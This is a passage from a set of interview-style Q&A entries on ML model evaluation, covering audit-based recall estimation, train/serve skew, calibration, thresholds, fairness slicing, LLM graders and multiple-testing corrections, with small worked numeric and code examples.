B0.88yesyes1.0011
C0.31noyes (audit)0.0210
D0.95yesyes1.0001
E0.12noyes (audit)0.0200

tp = 1/1 + 1/1 = 2.0. pos = 1/1 + 1/1 + 1/0.02 = 52.0. ipw_recall returns 2/52 = 0.038. Naive recall on the same reviewed set is 2/3 = 0.67. Case C alone stands in for ~50 cases the queue never saw. That gap is the reason to do any of this, and with one audited positive the interval is enormous, which is the next problem.

Sizing the audit. To pin recall on a 0.5%-prevalence class to ±5pp at 95% confidence you need ~380 true positives (SE = sqrt(0.25/380) = 0.026, 1.96 × SE = 0.050). At 0.5% prevalence that is 76,000 audited cases. At a 2% audit rate on 1M decisions/month, 20,000 audits/month, so about four months. Relax to ±10pp and it is 95 positives, 19,000 audited cases, roughly one month. Pick the tolerance from what the decision actually needs, then size the audit, not the other way round.

Failure modes, and how you catch them.

  • Audit starvation. The audit has no SLA, so when the queue backs up it is dropped first and the metrics silently become queue metrics again. Alert on daily audit volume against target; below 90% for two days, treat the numbers as invalid.
  • Reviewer anchoring. Reviewers see the model score and confirm it. Blind a random 10% of audits and compare positive rates between blinded and unblinded; a gap means your labels encode the model.
  • Stale propensities. The threshold moves mid-quarter and old rows get reweighted against the new one. Log propensity at decision time and never recompute it.
  • Label maturation. Chargebacks land at 60–120 days, so training on matured cases over-weights fast-resolving fraud. Compare label rate by maturation age; a few points of drift between the 0–30 day and 90+ day cohorts is the signal.
  • Feedback loop. The model suppresses the cases it would learn from, and the audit arm is the only detector. Track audit-slice recall separately from queue-slice recall and alarm on divergence.

Alternatives, and when not to. If the label is the outcome itself (click, purchase, churn) you need no labeller, but you still need the propensity of the policy that produced the exposure, or off-policy estimates are wrong. If the decision is cheap and reversible, run an online A/B and skip labels entirely. Uncertainty sampling and active learning are fine for building training volume and useless for evaluation, because they select exactly the cases the model gets wrong. Weak supervision buys coverage cheaply, but you end up measuring agreement with your own rules. The audit arm is the only part of the pipeline that can tell you the model is wrong; everything else tells you it is consistent.

Curated: · Written: · Reviewed:

Q&A-12Your holdout set is two years old. What does its score tell you?

Before promoting anything through evaluation on the served population I would write down what silent degradation would look like.

A metric describes the population it was measured on. A holdout drawn from a distribution the product has since moved away from measures how the model would do on customers it no longer has.

Concretely, refresh the evaluation set on a schedule tied to how fast the population moves, keep a fixed historical set alongside it for comparability, and report both, so a change in either is attributable.

The reason for that specificity is a failure I have seen: A fraud model was gated on a 2024 holdout through 2026; the merchant mix had changed entirely, and the model that scored best on the old set was the worst on live traffic.

Ranking flips by evaluation set.

Candidate2024 holdoutRecent traffic
A0.88 (best)0.74 (worst)
B0.850.82
C0.840.83 (best)

I would not consider it settled without evidence: Compare the evaluation set's feature distribution against last month's served traffic before trusting the gate.

An old holdout measures an old business.

Curated: · Written: · Reviewed:

Q&A-1Your model scores 0.91 AUC offline and behaves far worse in production. Where do you look first?

Offline AUC is a claim about one distribution; production is another. Before touching the model I want to know which of four things changed, because each leaves a different signature in the data, and the cheapest one to falsify is usually the answer.

1. Train/serve skew. The features computed at serving are not the features the model was trained on: two implementations of the same transform, different source freshness, or a different default for a missing value. Signature: the gap is there on day one, roughly uniform across segments, and nothing raises an error.

2. Leakage. A feature carries information about the label that will not exist at prediction time. Signature: offline AUC is high and the top of the importance list holds something with a post-outcome timestamp. A chargeback flag, a resolved ticket, an aggregate that includes the current row. Check each feature's event time against the label's event time.

3. Eval-set construction. The offline number was measured on a random split while production is future data. Signature: recompute AUC on a time-ordered holdout; if it collapses toward the production number, the split was the problem, not the model.

4. Feedback loop. The model's own outputs feed back into labels or features. Signature: degradation grows over weeks instead of appearing at launch, and the served distribution drifts in the direction the model pushes.

The cheapest discriminator is the first. Log the exact feature vector served with each prediction, recompute the same entities through the training transformation, and compare value by value: summary statistics hide sign errors and unit changes inside a matching mean.

FeatureTraining valueServed valueMatch
revenue_30d4.214210.0no
tenure_days318318yes
region_id77yes

That table is a real failure: revenue_30d was scaled to thousands in training and passed in units at serving; offline AUC 0.91 became 0.62 in production, and three weeks went into tuning the model before anyone compared a vector.

If the vectors match exactly, skew is ruled out and I move to timestamps: for each feature, is its event time before the label's? A feature populated only after the outcome is leakage, and it shows up as a feature that is null or stale for a large fraction of live traffic.

If timestamps are clean, I re-split offline by time and re-score. A model that holds up on a time-ordered holdout but not in production points at the feedback loop, or at a segment the eval set never covered: check AUC by segment, since a 0.91 average can hide a 0.55 on the traffic that actually matters.

What makes this hard is that none of the four announces itself. Skew raises no error, so only the vector comparison catches it. Leakage is invisible offline because it inflates the metric you are trusting. A random split flatters any model on drifting data. A feedback loop is slow and looks like ordinary drift. The detection is the same in all four cases: a served-vs-recomputed vector diff, a feature-timestamp audit, a time-ordered re-score, and per-segment AUC.

Curated: · Written: · Reviewed:

Q&A-13Accuracy improved by two points. Why is that not enough to promote?

The 60-second answer. Two points of aggregate accuracy is a weighted average over the evaluation set, and the weights are the slice sizes. If the majority slice improved while a minority slice collapsed, the aggregate still goes up. Promotion is a decision about cost-weighted behaviour on the slices the model actually serves, so the aggregate is not the quantity the decision depends on. Before signing off I want three things: the test-set size (is 2 points even outside noise?), per-slice confusion matrices with sample sizes, and the cost of a false positive versus a false negative on each slice.

Assumptions I'd state. Binary classifier, fixed decision threshold, eval set drawn from the same distribution as serving traffic, and an asymmetric cost model. If any of those is false, the rest of the analysis changes.

Worked example (illustrative numbers). 20,000-row test set, 10% positive prevalence.

BeforeAfter
Positive-slice recall0.710.44
Negative-slice accuracy93.6%99.1%
Aggregate accuracy91.3%93.6%

Confusion matrices: before TP 1,420 / FP 1,160 / TN 16,840 / FN 580; after TP 880 / FP 160 / TN 17,840 / FN 1,120. The aggregate gain is 460 more correct rows: +1,000 on the negative slice, −540 on the positive slice. The model catches 540 fewer positives.

Both movements are statistically solid at this n. The aggregate difference is 2.3 points against a standard error near 0.26 points (unpaired two-proportion approximation; a paired test on the same rows is tighter). The recall drop is 27 points against roughly 1.5 points. This is not noise you can wave away.

Now price it. At $400 per missed positive and $20 per false positive: before, 580×400 + 1,160×20 = $255,200; after, 1,120×400 + 160×20 = $451,200. The "improved" model costs $196,000 more per 20,000 predictions: about $9.80 each, or $9.8M per million. That is the answer to the question: the aggregate moved the right way and the decision moved the wrong way.

What I'd do instead. Pre-register the slices and the metric before the run. Gate on a cost-weighted expected loss rather than accuracy, and require no in-scope slice to regress beyond a threshold set in advance. Report each slice's n and a confidence interval: a 30-row slice cannot support a promotion decision in either direction. Correct for multiple comparisons when scanning dozens of slices; at 95% you expect a false alarm every 20 slices. Then monitor the slice post-deploy, because the eval set is a snapshot.

Failure modes. Accuracy under imbalance is close to useless: at 10% prevalence, predicting "negative" always scores 90%. A slice that is 0.3% of rows can carry most of the loss and stay invisible in the aggregate. Tiny slices produce both false alarms and false confidence. And a slice that isn't in the serving population shouldn't gate anything: check the traffic mix before blocking on it.

When two points is enough. If the slice drop sits inside its confidence interval, if the slice isn't served, or if the cost model says the trade is favourable, promote: with the slice on a dashboard and an alert threshold.

Curated: · Written: · Reviewed:

Q&A-15Your model ranks well but its probabilities are wrong. Does it matter?

Depends on what consumes the score. If the only consumer is a ranking (top-k retrieval, a leaderboard, a reranker feeding a human) no. If anything downstream multiplies the score by a value or a cost, it matters more than the ranking does, and your ranking metrics will never tell you.

Why ranking metrics can't see it. AUC, NDCG, recall@k and MAP are invariant under any strictly monotone transform of the score. Squash every probability through x → x³, or map them all into [0.4, 0.6], and the ordering is unchanged, so every one of those metrics reports the same number. That invariance is the point of a ranking metric and also the reason it is blind to calibration. Log loss and the Brier score are not invariant; they are proper scoring rules and they penalise exactly this. Accept a model on AUC alone and you have measured nothing about its probabilities.

Where the probabilities go wrong. Regularization and shrinkage pull scores toward the base rate. Training on a resampled or class-weighted set shifts the output by the sampling ratio: keep one negative in ten and the model predicts roughly ten times the true odds, which you undo with the prior correction: if you kept a fraction β of the negatives, p = β·p_s / (β·p_s + 1 − p_s). Boosting with early stopping, label smoothing, and any base-rate shift between training and serving all move calibration without moving the ranking much.

What to do. Fit a calibration map on a held-out set, never the training set. Platt scaling, a one-dimensional logistic regression on the score, has two parameters and works with a few hundred points. Isotonic regression is non-parametric and monotone but needs on the order of a thousand points and will overfit into a step function below that; it also cannot extrapolate past the range it saw. For multiclass, temperature scaling on the logits is the cheap default. Re-fit after every retrain and on a recent window, because calibration decays faster than ranking under covariate and label shift.

Worked example (hypothetical figures). A bid rule bids when p·value − cost > 0, with value $10 and cost $5. A model reporting 0.9 where the true rate is 0.4 gives an apparent EV of +$4 and a real EV of −$1: you bid on a losing proposition every time, and the ranking metric stays flat while you do it.

DecilePredictedObserved
80.620.28
90.780.34
100.910.40

The top decile is ordered correctly, those are genuinely the highest-risk cases, and priced at more than twice the observed rate. A reliability diagram of predicted against observed by decile, on settled outcomes from the last month, is the check; ECE summarises it but is bin-dependent, so look at the curve.

Failure modes. A calibration map fit on last quarter's base rate can be worse than no calibration after the positive rate shifts; monitor observed rate per decile and refit when the top decile drifts. Isotonic maps silently clip at the edges of the calibration range. And a threshold tuned on a miscalibrated score is fine only until you recalibrate: recalibration changes which examples cross a fixed threshold, so the threshold has to move with it.

Ranking orders; calibration prices. If nothing prices, don't pay for it.

Curated: · Written: · Reviewed:

Q&A-14You deploy the same weights with a different threshold. Is that a new model?

Yes: as a deployed model, not as a new set of weights.

If "model" means the artifact you trained, nothing changed: same weights, same hash. If "model" means the function that turns a request into a decision in production, everything changed. The threshold is part of that function, so I version it as a new release of the same weights and put it through the same promotion gates.

Why the distinction bites

A classifier emits a score; the threshold maps score to label. Moving the threshold slides you along one ROC/PR curve: same ranking, different operating point. The sharp consequence: threshold-free metrics don't move. AUC is identical at 0.80 and 0.45. If your release gate is AUC, a threshold change is invisible to it, and you ship a behaviour change on a green build.

So the gate has to be threshold-dependent: precision, recall, and the volume of whatever the positive class triggers downstream.

What goes in the release bundle

Weights hash, preprocessing, calibration, threshold, and the data window the threshold was derived from. A threshold fitted to data is a fitted parameter, and fitted parameters belong in the artifact. A threshold typed into a config during an incident is an untracked model change.

Illustrative example (numbers invented to show the shape):

ThresholdRecallPrecisionQueue/day
0.8062%91%400
0.4581%34%9,000

Same weights in both rows. The second row is a different system: over 20x the review load, and if nobody recorded the change, nobody can explain the queue.

Checking it in code

import numpy as np
scores = np.array([0.92, 0.71, 0.55, 0.44, 0.31])
labels = np.array([1, 1, 0, 1, 0])
for t in (0.80, 0.45):
    pred = scores >= t
    tp = int((pred & (labels == 1)).sum())
    fp = int((pred & (labels == 0)).sum())
    fn = int((~pred & (labels == 1)).sum())
    print(t, "tp", tp, "fp", fp, "fn", fn)

Output:

0.8 tp 1 fp 0 fn 2
0.45 tp 2 fp 1 fn 1

Trace: at 0.80 only 0.92 clears, and it is a true positive; the other two positives (0.71, 0.44) fall below and become false negatives. At 0.45 the 0.55 negative also clears, buying one more true positive (0.44) at the cost of one false positive. Same scores, different confusion matrix.

When it isn't a new model

If the threshold is a pure cost knob: no data used to fit it, reversible in seconds, and the cost ratio is a business input rather than a fitted quantity: I still version it, but I don't retrain or re-validate the weights. The line is whether data determined the number. If it did, it's a model parameter.

Failure modes

  • Calibration drift. Weights fixed, input distribution shifts, scores compress toward 0.5, and a threshold that was right in January silently changes recall in June. Detect it by monitoring the score distribution, not just the labels.
  • Threshold tuned on stale data. The operating point is fitted to last quarter's prevalence; when prevalence moves, the same threshold yields a different precision. Re-derive on a recent window and record which window.
  • Untracked config edit. Threshold lowered to cut missed fraud, review queue went from 400 to 9,000 a day, and no model version recorded it, so nobody could date the change or roll it back.

Same weights, new model. Version the threshold with the weights, gate it on threshold-dependent metrics, and watch the score distribution so a fixed threshold doesn't drift out from under you.

Curated: · Written: · Reviewed:

Q&A-22How do you decide a new model is better than the one serving?

The 90-second answer

"Better" is undefined until you name the metric, the population, and the horizon. I assume the metric is one the model actually moves (a quality or business metric, not a training loss), the population is live traffic, and the horizon is the next few weeks. Under those assumptions I do not promote on a single offline number. I run a gate: an offline paired evaluation to reject clear regressions, then an online test to confirm the gain on the metric that matters.

Offline gate: paired, recent, with an interval

Score champion and challenger on the same freshly labelled window, example by example, and look at the paired difference, not two separate scores. Pairing removes the variance from example difficulty, so the interval is far tighter than comparing two independent means.

Worked example: 20,000 labelled examples from the last 7 days. The per-example difference (challenger − champion) has mean +0.9 points and standard deviation 0.50 points. Standard error = 0.50 / √20,000 = 0.35 points, so the 95% interval is 0.9 ± 1.96 × 0.35 ≈ [0.21, 1.59] points. It excludes zero, so the challenger clears the gate.

Two things this catches that a point estimate does not. First, a stale baseline: a challenger that beats last quarter's model can still lose to what is serving today. Second, a gain that is inside the noise: if the interval straddles zero, you have not shown anything.

ChampionChallengerPaired diff
Accuracy, last 7 days0.8580.867+0.9 pts, 95% CI [0.21, 1.59]

Alternatives, and when each is right

  • Shadow deployment: run the challenger on live traffic, log predictions, serve nothing. Right when you need to check latency, cost, crash rate and input distribution before any user sees it. It cannot measure user outcomes.
  • Interleaving: mix both models' results into one ranked list and attribute clicks. Right for ranking or recommendation, where it reaches significance with far less traffic than an A/B test. It needs a click or engagement signal and only works for ranked output.
  • Online A/B: randomize users, measure the business metric. This is the ground truth. Right when the offline label is a proxy (clicks, dwell) or the objective is revenue, retention or safety.

When offline is not enough

Offline evaluation fails whenever the label is a proxy for what you care about, whenever the model changes the data it will later be trained on (feedback loops), and whenever the cost is latency or compute rather than accuracy. In those cases the offline gate can only reject; it cannot promote.

Failure modes to watch

  • Peeking: checking the online test daily and stopping at the first significant result inflates the false-positive rate. Fix the horizon or use a sequential test.
  • Slice regression: an aggregate gain can hide a loss on a segment (a language, a device, a head query). Check the paired difference per slice.
  • Distribution lag: the labelled window is older than live traffic; a model tuned to it can regress on today's inputs.

So: offline paired interval to reject, shadow to check operations, online test to promote.

Curated: · Written: · Reviewed:

Q&A-57How do you check a model does not harm one group more than another?

Harm is not a property of the model. It is a property of the decision rule, measured on named groups against a metric you chose before you saw the result. So the check is a procedure: name the slices, pick the metric, measure it per slice with uncertainty, and gate promotion on the gap between slices.

The metric choice is a policy call, because the standard definitions conflict. With unequal base rates across groups you cannot have calibration within groups and equalized odds at the same time (Chouldechova 2017; Kleinberg et al. 2016). If group B has the higher base rate, forcing FPR and TPR equal forces PPV to differ; forcing PPV equal forces the error rates to differ. Pick one, write down why, and accept what it costs.

For a screening decision where a miss is the harm (fraud, disease, a hiring screen) equal opportunity (equal true-positive rate, equivalently equal false-negative rate) is the usual default. For allocating a benefit where the label itself is suspect, demographic parity is the more defensible target.

The check

  1. Pre-register the slices, including intersections (group × age band). Record the minimum positives per slice you will gate on; 100 is a reasonable floor.
  2. Measure on a held-out set stratified by slice: per-slice metric, per-slice confidence interval, and the interval on the gap.
  3. Gate promotion on the gap, not the aggregate. Aggregate accuracy can improve while a slice degrades.
  4. Monitor per slice after deploy. The offline set is a snapshot; a group's feature distribution moves.

Same FNR, different sample size, different verdict

SlicePositivesMissedFNR95% Wilson CI
A200180.0900.058–0.138
B (small)4090.2250.123–0.375
B (larger)400900.2250.187–0.268

The small-B interval overlaps A's, so the 2.5× gap is not yet a finding: the right move is more data, not a block. At 400 positives the interval clears A's and the gate fires.

import numpy as np

def fnr(y_true, y_pred):
    pos = y_true == 1
    return (y_pred[pos] == 0).mean()

def fnr_ci(y_true, y_pred, n_boot=10_000, seed=0):
    rng = np.random.default_rng(seed)
    n = len(y_true)
    stats = []
    for _ in range(n_boot):
        s = rng.integers(0, n, n)
        pos = y_true[s] == 1
        if pos.sum() == 0:
            continue
        stats.append((y_pred[s][pos] == 0).mean())
    return np.percentile(stats, [2.5, 97.5])

fnr([1,1,0,1,0,1], [0,1,0,1,0,1]) → positives sit at indices 0, 1, 3, 5; predictions there are 0, 1, 1, 1; one miss out of four → 0.25.

Failure modes

  • Label bias: the target is a proxy. Arrests stand in for crime, prior cost stands in for need. Parity on a biased label is parity on the wrong thing.
  • Simpson's paradox: aggregate FNR falls while one slice rises, because the slice mix shifted.
  • Underpowered slices: a 40-positive slice gives an interval 0.25 wide; you will either ship noise or block noise.
  • Distribution shift: the slice's features move after deploy, so offline parity does not carry.
  • Feedback loop: the model's decisions become next quarter's labels, so the gap can widen with no code change.
  • Unrecorded attribute: if the group is not in the data, you are slicing on a proxy and measuring the proxy.

Detection is per-slice dashboards with an alert on interval separation, plus a promotion gate that fails closed.

Trade-off

Enforcing FNR parity costs accuracy somewhere, usually by moving the threshold per group: itself a legal question in some domains. Quantify it: report the accuracy you give up for the gap you close, and let the policy owner decide.

Curated: · Written: · Reviewed:

Q&A-63The same input gives different outputs. How do you evaluate that?

What I'd say first

"Different outputs" is usually the decoder, not the model. If temperature is above 0 or top-p is below 1, one run is a draw from a distribution, not a measurement of it. So the first question is whether the variance lives in the thing you ship: if production samples, evaluate sampled; if production is greedy, pin the seed and temperature and treat any remaining variance as a bug to chase.

Assuming we're evaluating a sampled system, I would not accept a comparison built on one run per case. I'd sample k times per case, pair the samples by case, and report the mean difference with an interval. Then I'd size the case set from the observed variance rather than from how many examples were convenient to label.

Where the variance actually comes from

Three sources, and they need different handling:

  • Decoder sampling: temperature, top-p, top-k. This is the variance you intend.
  • Kernel and batching nondeterminism: the same prompt at a different batch position can produce different logits in the last bits, which flips a near-tie token. Reproducible only with a fixed batch shape and deterministic kernels.
  • Serving config drift: a different model revision, quantization, or system prompt between the two arms.

Only the first is fixed by a seed. The other two are confounds, and a seed hides them rather than removing them.

The failure I've seen

A model change was accepted on a +4.0 point gain measured with one sample per case. Repeating the same evaluation five times gave a mean difference of +0.6 points with a 95% interval of -1.4 to +2.6, spanning zero. The change was shipped on noise.

Runs per caseMeasured gain95% interval
1+4.0 ptsnot reported
5+0.6 pts-1.4 to +2.6

(Illustrative figures.)

Sizing the set

Two variances matter: across runs on the same case, and across cases. The interval has to cover both. For a paired comparison the rough sample size is n ≈ (1.96 σ_d / δ)², where σ_d is the standard deviation of per-case differences and δ is the smallest gain you care about. With σ_d = 2 points and δ = 1 point, that's n ≈ 16 cases: small, which is exactly why people get away with underpowered evals until the effect is near zero.

Bootstrap the interval rather than assuming normality; per-case scores are bounded and often bimodal.

import random, statistics

def bootstrap_ci(diffs, n=10_000, alpha=0.05, seed=0):
    rng = random.Random(seed)
    means = []
    for _ in range(n):
        resample = [rng.choice(diffs) for _ in diffs]
        means.append(statistics.mean(resample))
    means.sort()
    lo = means[int(alpha / 2 * n)]
    hi = means[int((1 - alpha / 2) * n) - 1]
    return lo, hi

With n=10_000 and alpha=0.05 this returns the 251st and 9750th values of the sorted resample means: a percentile interval, not a normal approximation.

What I'd require before calling it settled

The gain exceeds the interval, the interval is reported, and the two arms differ only in the thing under test. If the interval spans zero, the honest answer is "no measurable difference at this sample size", not "a small win".

Curated: · Written: · Reviewed:

Q&A-64You use a model to grade another model's outputs. What must you check?

What a strong candidate says first

A model grader is a model. It has the failure modes of the thing it grades, plus a few of its own. Before you trust a single score it produces, check four things: what it is biased toward, whether it agrees with humans on the cases that actually decide your release, whether it is stable under changes that should not matter, and whether a model was the right instrument at all.

The biases, and how to catch each

BiasSymptomCheck
Positionfirst candidate winsgrade (A,B) and (B,A); count verdict flips
Verbositylonger answer scores highercorrelate score with output token count
Self-preferencegrader favours its own model familyre-grade the same outputs with a different-family grader
Prompt sensitivityscore moves when the rubric is rewordedparaphrase the rubric, re-run, compare score distributions

Position bias bites hardest in pairwise grading: if the candidate under test is always first, you have measured order, not quality. The MT-Bench judge study (Zheng et al., 2023) reported GPT-4 agreeing with human preference over 80% of the time, on par with the ~81% human-human agreement, and documented order sensitivity and verbosity preference in that same judge. High headline agreement does not mean the judge is unbiased.

Agreement is the number you defend, and raw agreement is not it

Raw agreement is inflated by class balance. A grader that always says "pass" scores 90% on a set that is 90% passes. Report Cohen's kappa alongside it:

from sklearn.metrics import cohen_kappa_score
import numpy as np

human  = np.array([1,1,0,1,0,0,1,1,0,1])   # 1 = pass
judge  = np.array([1,1,0,0,0,1,1,1,0,1])

print((human == judge).mean())              # 0.8
print(cohen_kappa_score(human, judge))      # 0.583

80% agreement reads as fine; kappa 0.58 is only moderate. Landis and Koch's convention puts 0.61–0.80 at substantial and 0.81+ at almost perfect: below 0.6, do not gate anything on the grader.

Stratify the sample. Aggregate agreement hides the stratum you care about: graders are strong on clear passes and clear fails and weakest on disputed cases, which is exactly where the decision is hard. A few hundred items per stratum, human-labelled, held out from anything the model under test can see: otherwise the model learns to produce grader-pleasing output rather than good output.

Pick the instrument before you tune it

MethodCost per itemBest forWeakness
Programmatic check (tests, schema, exact match)~0anything verifiablecannot judge open-ended quality
Pointwise rubric / Likertone grader callabsolute scores, regression trackingnoisy, prompt-sensitive
Pairwise comparisonone call per pairranking two candidatesO(n²) pairs, no absolute scale, position bias
Human labellingorders of magnitude morecalibration set, release gatesdoes not scale to every commit

Use the cheapest instrument that answers the question. Most "is this output good" questions decompose into a programmatic check plus a small judged remainder.

When not to use a model grader

  • The property is checkable deterministically: compile it, run the tests, validate the schema. A judge adds cost and noise for nothing.
  • The grader shares the model under test's family and the task is style or self-consistency; self-preference will flatter it.
  • The decision is irreversible or safety-critical and you have no human-labelled set to calibrate against. Ship the human review instead.
  • The graded output can contain instructions. A judge reading untrusted text is a prompt-injection target; sandbox the content and re-check.

Re-measure agreement whenever the grader model version, the rubric, or the decoding parameters change: a silent model update invalidates the calibration you did last quarter.

Curated: · Written: · Reviewed:

Q&A-96A vendor claims their model beats yours. How do you test it?

First question back to the vendor: beats on what metric, at what operating point, on whose distribution? A vendor benchmark answers a question about their evaluation set. You serve a different population, so the only comparison that decides anything runs both models on your traffic.

Assumptions I'd state up front: you have a labelled held-out set drawn from production (or can label a sample), you can pin the vendor's model version, and you can call both behind the same interface.

The test: draw a held-out sample from your traffic, run both models on the identical inputs, and compare at matched operating points. Same precision, or same recall, not each model's own best threshold. Report per-class metrics, not just accuracy, because class balance is where vendor benchmarks and your traffic diverge most.

Sample size decides whether a delta is real. To detect a 2-point accuracy difference at an 85% baseline with 80% power and α=0.05, independent samples need roughly 5,000 examples per arm: n = 2(z_{α/2}+z_β)²·p(1-p)/d² = 2·(2.8)²·0.1275/0.0004 ≈ 5,000. A paired design (McNemar on the same inputs) needs fewer, but if your eval set is 500 rows you cannot resolve a 2-point claim at all: say so rather than reporting a winner.

import numpy as np
from sklearn.metrics import precision_recall_curve

def recall_at_precision(y_true, scores, target):
    prec, rec, thr = precision_recall_curve(y_true, scores)
    mask = prec[:-1] >= target          # prec/rec have len(thr)+1; align to thresholds
    return rec[:-1][mask].max() if mask.any() else 0.0

# identical inputs, identical target precision, both models
r_vendor = recall_at_precision(y, vendor_scores, 0.90)
r_ours   = recall_at_precision(y, our_scores,    0.90)

Failure modes, each with how I'd catch it and what it costs:

  • Operating-point mismatch. The vendor reports best-F1 threshold; you run a fixed 0.5. Detection: sweep both thresholds and compare at equal precision. Cost: a model that looks 3 points better at its own threshold can be worse at yours, and you ship the regression.
  • Distribution shift. Detection: compare label prevalence and per-class recall between your eval set and the benchmark. If your fraud rate is 0.5% and theirs is 5%, accuracy is meaningless and per-class recall is the only honest number.
  • Silent model updates. The vendor swaps weights behind the API. Detection: pin a version string, freeze the eval set, re-run weekly, alert on any drop over 1 point. Cost: an unannounced update degrades you with no code change on your side and no deploy to blame.
  • Latency and cost at your QPS. Detection: load test at your peak, measure p99 and per-request price. Cost: a model 2 points better that adds 300 ms to p99 and triples per-token cost can still lose the business case.
  • Dependency risk. Detection: measure failover time to your incumbent and whether you can run both in shadow. Cost: single-vendor lock-in with no fallback is an availability risk, not a metric.

Illustrative figures: the shape is the point, not the exact numbers:

ModelPublic benchmarkYour traffic
vendor0.9120.844
incumbent0.8510.873

The vendor wins the public benchmark and loses on your traffic. That is not a tie to split; it is the reason the comparison has to run on your data before any claim is believed.

Curated: · Written: · Reviewed:

Q&A-90Your model's AUC improved and revenue did not. What went wrong?

Most likely the AUC gain landed among candidates the system already treats the same way, so no decision changed. AUC is a rank statistic: it measures how often a random positive is scored above a random negative, averaged over every threshold. Revenue comes from the decisions taken at one threshold. A model can gain 3 points of AUC inside the auto-approve band, where the old and new versions approve the identical set of people, and earn exactly nothing.

Pin down three things before diagnosing: the decision the model drives (approve or decline at a score cutoff, or which 200 offers to rank into view), the operating point, and the revenue window you can actually observe. Then test two conditions separately, because they fail separately. The new ordering has to flip a decision at the operating point, and the flipped decisions have to be worth money.

Worked example, hypothetical numbers. A lender scores 100,000 applications a month and approves anything at score >= 0.62. The new model reaches AUC 0.78 against 0.75, and revenue is flat.

Score bandApplicationsBand AUC gainDecisions flipped at 0.62
0.00-0.4046,000+0.0010
0.40-0.629,000+0.0000
0.62-0.8527,000+0.00212
0.85-1.0018,000+0.0270

The gain is concentrated in 0.85-1.00, which both models auto-approve. Band AUC is computed inside the band and does not sum to the global figure, so read that column for location, not magnitude. Twelve decisions flipped. At about USD 180 expected contribution per approved applicant, that is roughly USD 2,160 a month, against a revenue series that swings by hundreds of thousands on seasonality alone. Unmeasurable is not the same as zero, but it cannot steer a release.

Two mechanisms produce this beyond "the gain landed in the wrong band." AUC is invariant to any monotone rescaling of scores, so it says nothing about the calibrated probability your cutoff compares against; if the decision uses expected value, check the reliability curve, not AUC. And an offline gain can come from leakage or train-serve skew instead of the model. Verify that the flipped cohort actually received the new model version in the serving path before trusting the offline table.

AUC is the right primary guardrail in specific cases, and you should say so rather than discard it. When the threshold is not fixed, because you are tuning it or the business is still choosing an operating point, a threshold-free ranking is exactly the quantity you need. When every candidate is shown anyway, such as 20 marketplace results or a human review queue worked top-down, there is no decision flip to count. And when the business measure is lagging or noise-dominated per release, a calibrated proxy resolves more than a number you cannot read.

If revenue is genuinely lagging, subscription refunds settling over 90 days or insurance claims developing over a year, the guardrail becomes a leading proxy: predicted approval rate times expected 90-day margin, with revenue reviewed quarterly. That substitution has a cost, so name it. The proxy drifts away from the thing it stands for and needs refitting on a schedule, and whoever owns its inputs can game it.

A workable reporting pattern: primary metric is decision-flip count at the operating point plus the realized value of the flipped cohort, secondary is AUC, tertiary is revenue. Log model version, score, decision and outcome per request so the flipped cohort can be compared against a holdout. When revenue is flat because no decision ever changed, the model is not wrong; it is untested where the money is.

Curated: · Written: · Reviewed:

Q&A-97When is a rule better than a model?

Core answer

A rule is better when the decision boundary is already known and the cost of being wrong is dominated by explainability or by the absence of labeled data, not by accuracy. Three signals:

  1. The policy is written down. If a compliance officer can state the condition ("deny if DTI > 43% and no compensating factors"), the rule is the specification. A model re-learns a boundary you already have, and every point it disagrees on is a defect, not a discovery.
  2. The regime requires per-decision reasons. ECOA/Regulation B (12 CFR 1002.9) requires an adverse action notice with the specific principal reasons; GDPR Article 22 gives a right not to be subject to solely automated decisions with legal effect and a right to meaningful information about the logic. A gradient-boosted tree gives you SHAP values, which approximate the model, not the reason for the decision. A rule gives you the reason by construction.
  3. You have no labels, or labels arrive too late. Fraud, abuse, and eligibility decisions often have no ground truth for months. A model trained on a proxy label learns the proxy.

Mechanism: why a model is not free

A rule is a function of the inputs. A model is a function of the inputs and parameters fit to a historical sample. That extra term is where the cost lives:

  • Estimation error. With n examples and d features, the model's error carries a term that shrinks like O(sqrt(d/n)). Sparse data means the model is mostly fitting noise. A rule has zero estimation error.
  • Drift. A rule produces the same output for the same input forever. A model's parameters encode P(X, Y) at training time; when the population shifts, the boundary is stale. That is why you need PSI/KS monitoring and a retraining cadence: infrastructure a rule does not have.
  • Explainability. A rule's reason is the branch taken. A model's reason is a post-hoc attribution.

The trade is approximation error against estimation error. Rules win when the true boundary is simple or known; models win when it is complex and you have the data to estimate it.

Decision table

SignalRuleModel
Boundary known / written policyyesredundant
Labels available nownot neededrequired
Per-decision reason requiredfreepost-hoc
Latency budgetmicrosecondsms + feature fetch
Population stableirrelevantmust monitor
Boundary complex, data plentifulunderfitswins

Worked example (illustrative figures)

A payments team gates on a rule: block if amount > 500 and country != home and txns_last_10m >= 4. Four conditions, ~40 lines with tests, p99 latency 0.2 ms, no training data.

They replace it with a GBM. On a held-out month it agrees with the rule on 99.4% of decisions. The 0.6% disagreement is not upside: sampled, most are the model approving transactions the rule blocked for a reason the policy names. The model adds a feature pipeline, a training job, a drift monitor, and a retraining cadence, and the reason for any single block is now a SHAP value.

Failure modes and detection

  • Rule: silent staleness (threshold no longer matches reality), combinatorial gaps (unhandled input combinations), brittle ordering. Detect with decision-table coverage tests and shadow-mode logging of unmatched inputs.
  • Model: drift, feedback loops (the model's own decisions become training data), proxy discrimination. Detect with feature PSI, calibration checks, and a sampled disagreement review against the rule baseline.

When the model wins

When the boundary is genuinely complex, labels are plentiful and timely, and no per-decision reason is required: ranking, relevance, speech, vision. There a rule underfits, and the model's estimation error is small relative to the approximation error you avoid.

Curated: · Written: · Reviewed:

Q&A-31You test 200 features hourly at the 5 percent level. What happens?

At 200 features tested hourly at α=0.05, you expect 200 × 0.05 = 10 false positives per hour, or 240 per day, if the features are independent and stable. The chance of at least one false alarm in an hour is 1 − 0.95^200 ≈ 99.996%. That is not a 5% error rate; it is a near-certainty of noise. The per-test level controls only the per-feature false positive rate, not the family-wise error rate across the 200 tests.

The core decision is how to control that family-wise error without losing real drift. Three credible alternatives, each right in a different context:

Correction procedures. Bonferroni divides α by the number of tests: 0.05/200 = 0.00025. Expected false alarms drop to 200 × 0.00025 = 0.05 per hour. Holm is uniformly more powerful and should be preferred over Bonferroni. Benjamini–Hochberg controls the false discovery rate (FDR) at q: among rejected features, the expected proportion of false discoveries is ≤ q. Under the global null, BH also bounds the chance of any rejection at q, but when true effects exist it allows more false positives in exchange for more power. Use Bonferroni or Holm when any false alarm pages someone; use BH when you can tolerate some false positives in a review queue.

